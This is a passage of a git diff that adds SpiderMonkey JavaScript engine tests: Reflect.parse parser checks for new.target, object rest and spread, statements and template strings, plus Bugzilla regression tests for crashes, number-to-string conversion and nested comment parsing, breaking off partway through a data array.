+ blockStmt([exprStmt(newTarget())])));
+
+ // new.target is a member expression. You should be able to call, invoke, or
+ // access properties of it.
+ assertInFunctionExpr("new.target.foo", dotExpr(newTarget(), ident("foo")));
+ assertInFunctionExpr("new.target[\"foo\"]", memExpr(newTarget(), literal("foo")));
+
+ assertInFunctionExpr("new.target()", callExpr(newTarget(), []));
+ assertInFunctionExpr("new new.target()", newExpr(newTarget(), []));
+
+ // assignment to newTarget is an error
+ assertError("new.target = 4", SyntaxError);
+
+ // only new.target is a valid production, no shorn names or other names
+ assertError("new.", SyntaxError);
+ assertError("new.foo", SyntaxError);
+ assertError("new.targe", SyntaxError);
+
+ // obj.new.target is still a member expression
+ assertExpr("obj.new.target", dotExpr(dotExpr(ident("obj"), ident("new")), ident("target")));
+}
+
+runtest(testNewTarget);
diff --git a/js/src/tests/non262/reflect-parse/object-rest.js b/js/src/tests/non262/reflect-parse/object-rest.js
new file mode 100644
index 0000000000..1c35034aa1
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/object-rest.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function property(key, value = key, shorthand = key === value) {
+ return { key, value, shorthand };
+}
+
+function assertDestrAssign(src, pattern) {
+ assertExpr(`(${src} = 0)`, aExpr("=", pattern, lit(0)));
+}
+
+function assertDestrBinding(src, pattern) {
+ assertDecl(`var ${src} = 0`, varDecl([{id: pattern, init: lit(0)}]));
+}
+
+function test() {
+ // Target expression must be a simple assignment target in object assignment patterns.
+ assertDestrAssign("{...x}", objPatt([spread(ident("x"))]));
+ assertDestrAssign("{...(x)}", objPatt([spread(ident("x"))]));
+ assertDestrAssign("{...obj.p}", objPatt([spread(dotExpr(ident("obj"), ident("p")))]));
+ assertDestrAssign("{...(obj.p)}", objPatt([spread(dotExpr(ident("obj"), ident("p")))]));
+
+ // Object binding patterns only allow binding identifiers.
+ assertDestrBinding("{...x}", objPatt([spread(ident("x"))]));
+
+ // The rest-property can be preceded by other properties.
+ for (var assertDestr of [assertDestrAssign, assertDestrBinding]) {
+ assertDestr("{a, ...x}", objPatt([property(ident("a")), spread(ident("x"))]));
+ assertDestr("{a: b, ...x}", objPatt([property(ident("a"), ident("b")), spread(ident("x"))]));
+ assertDestr("{[a]: b, ...x}", objPatt([property(comp(ident("a")), ident("b")), spread(ident("x"))]));
+ }
+
+ // Tests when __proto__ is used in the object pattern.
+ for (var assertDestr of [assertDestrAssign, assertDestrBinding]) {
+ assertDestr("{...__proto__}", objPatt([spread(ident("__proto__"))]));
+ assertDestr("{__proto__, ...x}", objPatt([property(ident("__proto__")), spread(ident("x"))]));
+ }
+ assertDestrAssign("{__proto__: a, ...x}", objPatt([property(lit("__proto__"), ident("a")), spread(ident("x"))]));
+ assertDestrBinding("{__proto__: a, ...x}", objPatt([property(ident("__proto__"), ident("a")), spread(ident("x"))]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/object-spread.js b/js/src/tests/non262/reflect-parse/object-spread.js
new file mode 100644
index 0000000000..a4b269c409
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/object-spread.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+function property(key, value = key, shorthand = key === value) {
+ return { key, value, shorthand };
+}
+
+function test() {
+ // Any expression can be spreaded.
+ assertExpr("({...x})", objExpr([spread(ident("x"))]));
+ assertExpr("({...f()})", objExpr([spread(callExpr(ident("f"), []))]));
+ assertExpr("({...123})", objExpr([spread(lit(123))]));
+
+ // Multiple spread expression are allowed.
+ assertExpr("({...x, ...obj.p})", objExpr([spread(ident("x")), spread(dotExpr(ident("obj"), ident("p")))]));
+
+ // Spread expression can appear anywhere in an object literal.
+ assertExpr("({p, ...x})", objExpr([property(ident("p")), spread(ident("x"))]));
+ assertExpr("({p: a, ...x})", objExpr([property(ident("p"), ident("a")), spread(ident("x"))]));
+ assertExpr("({...x, p: a})", objExpr([spread(ident("x")), property(ident("p"), ident("a"))]));
+
+ // Trailing comma after spread expression is allowed.
+ assertExpr("({...x,})", objExpr([spread(ident("x"))]));
+
+ // __proto__ is not special in spread expressions.
+ assertExpr("({...__proto__})", objExpr([spread(ident("__proto__"))]));
+ assertExpr("({...__proto__, ...__proto__})", objExpr([spread(ident("__proto__")), spread(ident("__proto__"))]));
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/proxyArgs.js b/js/src/tests/non262/reflect-parse/proxyArgs.js
new file mode 100644
index 0000000000..771b61ad66
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/proxyArgs.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 905774
+
+// Proxy options
+var opts = new Proxy({loc: false}, {});
+assertEq("loc" in Reflect.parse("0;", opts), false);
+opts.loc = true;
+assertEq(Reflect.parse("0;", opts).loc !== null, true);
+delete opts.loc;
+assertEq(Reflect.parse("0;", opts).loc !== null, true); // default is true
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/reflect-parse/shell.js b/js/src/tests/non262/reflect-parse/shell.js
new file mode 100644
index 0000000000..665e3fe59d
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/shell.js
@@ -0,0 +1,66 @@
+loadRelativeToScript('PatternAsserts.js');
+
+// various combinations of identifiers and destructuring patterns:
+function makePatternCombinations(id, destr)
+{
+ return [
+ [ id(1) ],
+ [ id(1), id(2) ],
+ [ id(1), id(2), id(3) ],
+ [ id(1), id(2), id(3), id(4) ],
+ [ id(1), id(2), id(3), id(4), id(5) ],
+
+ [ destr(1) ],
+ [ destr(1), destr(2) ],
+ [ destr(1), destr(2), destr(3) ],
+ [ destr(1), destr(2), destr(3), destr(4) ],
+ [ destr(1), destr(2), destr(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2) ],
+
+ [ destr(1), id(2), id(3) ],
+ [ destr(1), id(2), id(3), id(4) ],
+ [ destr(1), id(2), id(3), id(4), id(5) ],
+ [ destr(1), id(2), id(3), id(4), destr(5) ],
+ [ destr(1), id(2), id(3), destr(4) ],
+ [ destr(1), id(2), id(3), destr(4), id(5) ],
+ [ destr(1), id(2), id(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2), destr(3) ],
+ [ destr(1), id(2), destr(3), id(4) ],
+ [ destr(1), id(2), destr(3), id(4), id(5) ],
+ [ destr(1), id(2), destr(3), id(4), destr(5) ],
+ [ destr(1), id(2), destr(3), destr(4) ],
+ [ destr(1), id(2), destr(3), destr(4), id(5) ],
+ [ destr(1), id(2), destr(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2) ],
+
+ [ id(1), destr(2), id(3) ],
+ [ id(1), destr(2), id(3), id(4) ],
+ [ id(1), destr(2), id(3), id(4), id(5) ],
+ [ id(1), destr(2), id(3), id(4), destr(5) ],
+ [ id(1), destr(2), id(3), destr(4) ],
+ [ id(1), destr(2), id(3), destr(4), id(5) ],
+ [ id(1), destr(2), id(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2), destr(3) ],
+ [ id(1), destr(2), destr(3), id(4) ],
+ [ id(1), destr(2), destr(3), id(4), id(5) ],
+ [ id(1), destr(2), destr(3), id(4), destr(5) ],
+ [ id(1), destr(2), destr(3), destr(4) ],
+ [ id(1), destr(2), destr(3), destr(4), id(5) ],
+ [ id(1), destr(2), destr(3), destr(4), destr(5) ]
+ ];
+}
+
+function runtest(main) {
+ try {
+ main();
+ if (typeof reportCompare === 'function')
+ reportCompare(true, true);
+ } catch (exc) {
+ print(exc.stack);
+ throw exc;
+ }
+}
diff --git a/js/src/tests/non262/reflect-parse/stackOverflow.js b/js/src/tests/non262/reflect-parse/stackOverflow.js
new file mode 100644
index 0000000000..5fadbde4d8
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/stackOverflow.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Bug 632024: no crashing on stack overflow
+try {
+ Reflect.parse(Array(3000).join("x + y - ") + "z")
+} catch (e) { }
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/statements.js b/js/src/tests/non262/reflect-parse/statements.js
new file mode 100644
index 0000000000..36a8b3ecea
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/statements.js
@@ -0,0 +1,88 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// statements
+
+assertStmt("throw 42", throwStmt(lit(42)));
+assertStmt("for (;;) break", forStmt(null, null, null, breakStmt(null)));
+assertStmt("for (x; y; z) break", forStmt(ident("x"), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (var x; y; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (var x = 42; y; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (x; ; z) break", forStmt(ident("x"), null, ident("z"), breakStmt(null)));
+assertStmt("for (var x; ; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), null, ident("z"), breakStmt(null)));
+assertStmt("for (var x = 42; ; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), null, ident("z"), breakStmt(null)));
+assertStmt("for (x; y; ) break", forStmt(ident("x"), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x; y; ) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x = 42; y; ) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x in y) break", forInStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), breakStmt(null)));
+assertStmt("for (x in y) break", forInStmt(ident("x"), ident("y"), breakStmt(null)));
+assertStmt("{ }", blockStmt([]));
+assertStmt("{ throw 1; throw 2; throw 3; }", blockStmt([ throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]));
+assertStmt(";", emptyStmt);
+assertStmt("if (foo) throw 42;", ifStmt(ident("foo"), throwStmt(lit(42)), null));
+assertStmt("if (foo) throw 42; else true;", ifStmt(ident("foo"), throwStmt(lit(42)), exprStmt(lit(true))));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; }",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ null));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; } else true;",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ exprStmt(lit(true))));
+
+
+assertStmt("foo: for(;;) break foo;", labStmt(ident("foo"), forStmt(null, null, null, breakStmt(ident("foo")))));
+assertStmt("foo: for(;;) continue foo;", labStmt(ident("foo"), forStmt(null, null, null, continueStmt(ident("foo")))));
+assertStmt("with (obj) { }", withStmt(ident("obj"), blockStmt([])));
+assertStmt("with (obj) { obj; }", withStmt(ident("obj"), blockStmt([exprStmt(ident("obj"))])));
+assertStmt("while (foo) { }", whileStmt(ident("foo"), blockStmt([])));
+assertStmt("while (foo) { foo; }", whileStmt(ident("foo"), blockStmt([exprStmt(ident("foo"))])));
+assertStmt("do { } while (foo);", doStmt(blockStmt([]), ident("foo")));
+assertStmt("do { foo; } while (foo)", doStmt(blockStmt([exprStmt(ident("foo"))]), ident("foo")));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]) ]));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; case 42: 42; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]),
+ caseClause(lit(42), [ exprStmt(lit(42)) ]) ]));
+assertStmt("try { } catch (e) { }",
+ tryStmt(blockStmt([]),
+ catchClause(ident("e"), blockStmt([])),
+ null));
+assertStmt("try { } catch (e) { } finally { }",
+ tryStmt(blockStmt([]),
+ catchClause(ident("e"), blockStmt([])),
+ blockStmt([])));
+assertStmt("try { } finally { }",
+ tryStmt(blockStmt([]),
+ null,
+ blockStmt([])));
+assertStmt("try { } catch { }",
+ tryStmt(blockStmt([]),
+ catchClause(null, blockStmt([])),
+ null));
+assertStmt("try { } catch { } finally { }",
+ tryStmt(blockStmt([]),
+ catchClause(null, blockStmt([])),
+ blockStmt([])));
+
+
+// Bug 632028: yield outside of a function should throw
+(function() {
+ var threw = false;
+ try {
+ Reflect.parse("yield 0");
+ } catch (expected) {
+ threw = true;
+ }
+ assertEq(threw, true);
+})();
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/templateStrings.js b/js/src/tests/non262/reflect-parse/templateStrings.js
new file mode 100644
index 0000000000..fb12afd00f
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/templateStrings.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// template strings
+assertStringExpr("`hey there`", literal("hey there"));
+assertStringExpr("`hey\nthere`", literal("hey\nthere"));
+assertExpr("`hey${\"there\"}`", templateLit([lit("hey"), lit("there"), lit("")]));
+assertExpr("`hey${\"there\"}mine`", templateLit([lit("hey"), lit("there"), lit("mine")]));
+assertExpr("`hey${a == 5}mine`", templateLit([lit("hey"), binExpr("==", ident("a"), lit(5)), lit("mine")]));
+assertExpr("func`hey\\x`", taggedTemplate(ident("func"), template(["hey\\x"], [void 0])));
+assertExpr("func`hey${4}\\x`", taggedTemplate(ident("func"), template(["hey","\\x"], ["hey",void 0], lit(4))));
+assertExpr("`hey${`there${\"how\"}`}mine`", templateLit([lit("hey"),
+ templateLit([lit("there"), lit("how"), lit("")]), lit("mine")]));
+assertExpr("func`hey`", taggedTemplate(ident("func"), template(["hey"], ["hey"])));
+assertExpr("func`hey${\"4\"}there`", taggedTemplate(ident("func"),
+ template(["hey", "there"], ["hey", "there"], lit("4"))));
+assertExpr("func`hey${\"4\"}there${5}`", taggedTemplate(ident("func"),
+ template(["hey", "there", ""], ["hey", "there", ""],
+ lit("4"), lit(5))));
+assertExpr("func`hey\r\n`", taggedTemplate(ident("func"), template(["hey\n"], ["hey\n"])));
+assertExpr("func`hey${4}``${5}there``mine`",
+ taggedTemplate(taggedTemplate(taggedTemplate(
+ ident("func"), template(["hey", ""], ["hey", ""], lit(4))),
+ template(["", "there"], ["", "there"], lit(5))),
+ template(["mine"], ["mine"])));
+
+// multi-line template string - line numbers
+var node = Reflect.parse("`\n\n ${2}\n\n\n`");
+Pattern({loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null}, type:"Program",
+body:[{loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null},
+type:"ExpressionStatement", expression:{loc:{start:{line:1, column:0}, end:{line:6, column:1},
+source:null}, type:"TemplateLiteral", elements:[{loc:{start:{line:1, column:0}, end:{line:3,
+column:5}, source:null}, type:"Literal", value:"\n\n "}, {loc:{start:{line:3, column:5},
+end:{line:3, column:6}, source:null}, type:"Literal", value:2}, {loc:{start:{line:3, column:6},
+end:{line:6, column:1}, source:null}, type:"Literal", value:"\n\n\n"}]}}]}).match(node);
+
+
+assertStringExpr("\"hey there\"", literal("hey there"));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/regress/browser.js b/js/src/tests/non262/regress/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/regress/browser.js
diff --git a/js/src/tests/non262/regress/regress-102725.js b/js/src/tests/non262/regress/regress-102725.js
new file mode 100644
index 0000000000..bbdb7abe7e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-102725.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 102725
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=102725
+ * "gcc -O2 problems converting numbers to strings"
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 102725;
+var summary = 'Testing converting numbers to strings';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Successive calls to foo.toString() were producing different answers!
+ */
+status = inSection(1);
+foo = (new Date()).getTime();
+actual = foo.toString();
+expect = foo.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-10278.js b/js/src/tests/non262/regress/regress-10278.js
new file mode 100644
index 0000000000..036f2cf9ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-10278.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+/**
+ * File Name: regress-10278.js
+ * Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=10278
+ * Description: Function declarations do not need to be separated
+ * by semi-colon if they occur on the same line.
+ * Author: bob@bclary.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 10278;
+var summary = 'Function declarations do not need to be separated by semi-colon';
+var actual;
+var expect;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'pass';
+ try
+ {
+ eval("function f(){}function g(){}");
+ actual = "pass";
+ printStatus('no exception thrown');
+ }
+ catch ( e )
+ {
+ actual = "fail";
+ printStatus('exception ' + e.toString() + ' thrown');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-104077.js b/js/src/tests/non262/regress/regress-104077.js
new file mode 100644
index 0000000000..703f516407
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-104077.js
@@ -0,0 +1,470 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues(obj)
+{
+ var sum;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(1);
+var obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+actual = addValues(obj);
+expect = 3;
+captureThis();
+
+
+
+function tryThis()
+{
+ var sum = 4 ;
+ var i = 0;
+
+ while (sum < 10)
+ {
+ try
+ {
+ sum += 1;
+ i += 1;
+ }
+ finally
+ {
+ print("In finally case of tryThis() function");
+ }
+ }
+ return i;
+}
+
+status = inSection(2);
+actual = tryThis();
+expect = 6;
+captureThis();
+
+
+
+function myTest(x)
+{
+ var obj = new Object();
+ var msg;
+
+ with (obj)
+ {
+ msg = (x != null) ? "NO" : "YES";
+ print("Is the provided argument to myTest() null? : " + msg);
+
+ try
+ {
+ throw "ZZZ";
+ }
+ catch(e)
+ {
+ print("Caught thrown exception = " + e);
+ }
+ }
+
+ return 1;
+}
+
+status = inSection(3);
+actual = myTest(null);
+expect = 1;
+captureThis();
+
+
+
+function addValues_2(obj)
+{
+ var sum = 0;
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch(e)
+ {
+ print('Caught an exception in addValues_2() function: ' + e);
+ }
+ }
+ }
+ }
+ finally
+ {
+ return sum;
+ }
+ }
+}
+
+status = inSection(4);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_2(obj);
+expect = 6;
+captureThis();
+
+
+
+status = inSection(5);
+try
+{
+ throw new A();
+}
+catch(e)
+{
+}
+finally
+{
+ try
+ {
+ throw new A();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ actual = 'a';
+ }
+ actual = 'b';
+}
+expect = 'b';
+captureThis();
+
+
+
+
+function testfunc(mode)
+{
+ var obj = new Object();
+ with (obj)
+ {
+ var num = 100;
+ var str = "abc" ;
+
+ if (str == null)
+ {
+ try
+ {
+ throw "authentication.0";
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ else
+ {
+ try
+ {
+ if (mode == 0)
+ throw "authentication.0";
+ else
+ mytest();
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+
+ return num;
+ }
+ }
+}
+
+status = inSection(6);
+actual = testfunc(0);
+expect = 100;
+captureThis();
+
+status = inSection(7);
+actual = testfunc();
+expect = 100;
+captureThis();
+
+
+
+
+function entry_menu()
+{
+ var document = new Object();
+ var dialog = new Object();
+ var num = 100;
+
+ with (document)
+ {
+ with (dialog)
+ {
+ try
+ {
+ while (true)
+ {
+ return num;
+ }
+ }
+ finally
+ {
+ }
+ }
+ }
+}
+
+status = inSection(8);
+actual = entry_menu();
+expect = 100;
+captureThis();
+
+
+
+
+function addValues_5(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_5() function: sum = " + sum);
+ }
+ catch (e)
+ {
+ sum += 1;
+ print("In finally catch block of addValues_5() function: sum = " + sum + ", e = " + e);
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_5() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(11);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_5(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function testObj(obj)
+{
+ var x = 42;
+
+ try
+ {
+ with (obj)
+ {
+ if (obj.p)
+ throw obj.p;
+ x = obj.q;
+ }
+ }
+ finally
+ {
+ print("in finally block of testObj() function");
+ return 999;
+ }
+}
+
+status = inSection(12);
+obj = {p:43};
+actual = testObj(obj);
+expect = 999;
+captureThis();
+
+
+
+/*
+ * Next two cases are from http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ */
+function a120571()
+{
+ while(0)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash! Test to see that it doesn't now.
+print(a120571);
+
+// Now test that we have a non-null value for a120571.toString()
+status = inSection(13);
+try
+{
+ actual = a120571.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+function b()
+{
+ for(;;)
+ {
+ try
+ {
+ }
+ catch(e)
+ {
+ continue;
+ }
+ }
+}
+
+// this caused a crash!!! Test to see that it doesn't now.
+print(b);
+
+// Now test that we have a non-null value for b.toString()
+status = inSection(14);
+try
+{
+ actual = b.toString().match(/continue/)[0];
+}
+catch(e)
+{
+ actual = 'FAILED! Did not find "continue" in function body';
+}
+expect = 'continue';
+captureThis();
+
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-110286.js b/js/src/tests/non262/regress/regress-110286.js
new file mode 100644
index 0000000000..2520e4cc60
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-110286.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Nov 2001
+ * SUMMARY: multiline comments containing "/*" should not be syntax errors
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=110286
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 110286;
+var summary = 'Multiline comments containing "/*" should not be syntax errors';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = eval("/* /* */3");
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = eval("3/* /* */");
+expect = 3;
+addThis();
+
+status = inSection(3);
+actual = eval("/* 3/* */");
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = eval("/* /*3 */");
+expect = undefined;
+addThis();
+
+status = inSection(5);
+var passed = true;
+try
+{
+ eval("/* blah blah /* blah blah */");
+}
+catch(e)
+{
+ passed = false;
+}
+actual = passed;
+expect = true;
+addThis();
+
+
+status = inSection(6);
+try
+{
+ /*
+ /*A/* /* /*A/*
+ /* blah blah /*
+ /* blah blah /*
+ /* /*A/* /*A/*
+ */
+ var result = 'PASSED';
+}
+catch(e)
+{
+ var result = 'FAILED';
+}
+actual = result;
+expect = 'PASSED';
+addThis();
+
+
+status = inSection(7);
+var str = 'ABC';
+/*
+ * /*
+ * /*
+ * /*
+ * /*
+ *
+ */
+str += 'DEF';
+actual = str;
+expect = 'ABCDEF';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-111557.js b/js/src/tests/non262/regress/regress-111557.js
new file mode 100644
index 0000000000..49fd4247e0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-111557.js
@@ -0,0 +1,10931 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2001
+ * SUMMARY: JS should not crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=111557
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 111557;
+var summary = "Just seeing that we don't crash on this code -";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/*
+ * NOTE: have defined |top| as |this| to make this a standalone JS shell test.
+ * This came from the HTML of a frame, where |top| would have its DOM meaning.
+ */
+var top = this;
+
+top.authors = new Array();
+top.titles = new Array();
+var i = 0;
+
+
+top.authors[i] = "zPROD xA.5375.";
+top.titles[i] = "NDS Libraries for C";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0100.";
+top.titles[i] = "NDS Backup Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0001.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0001.";
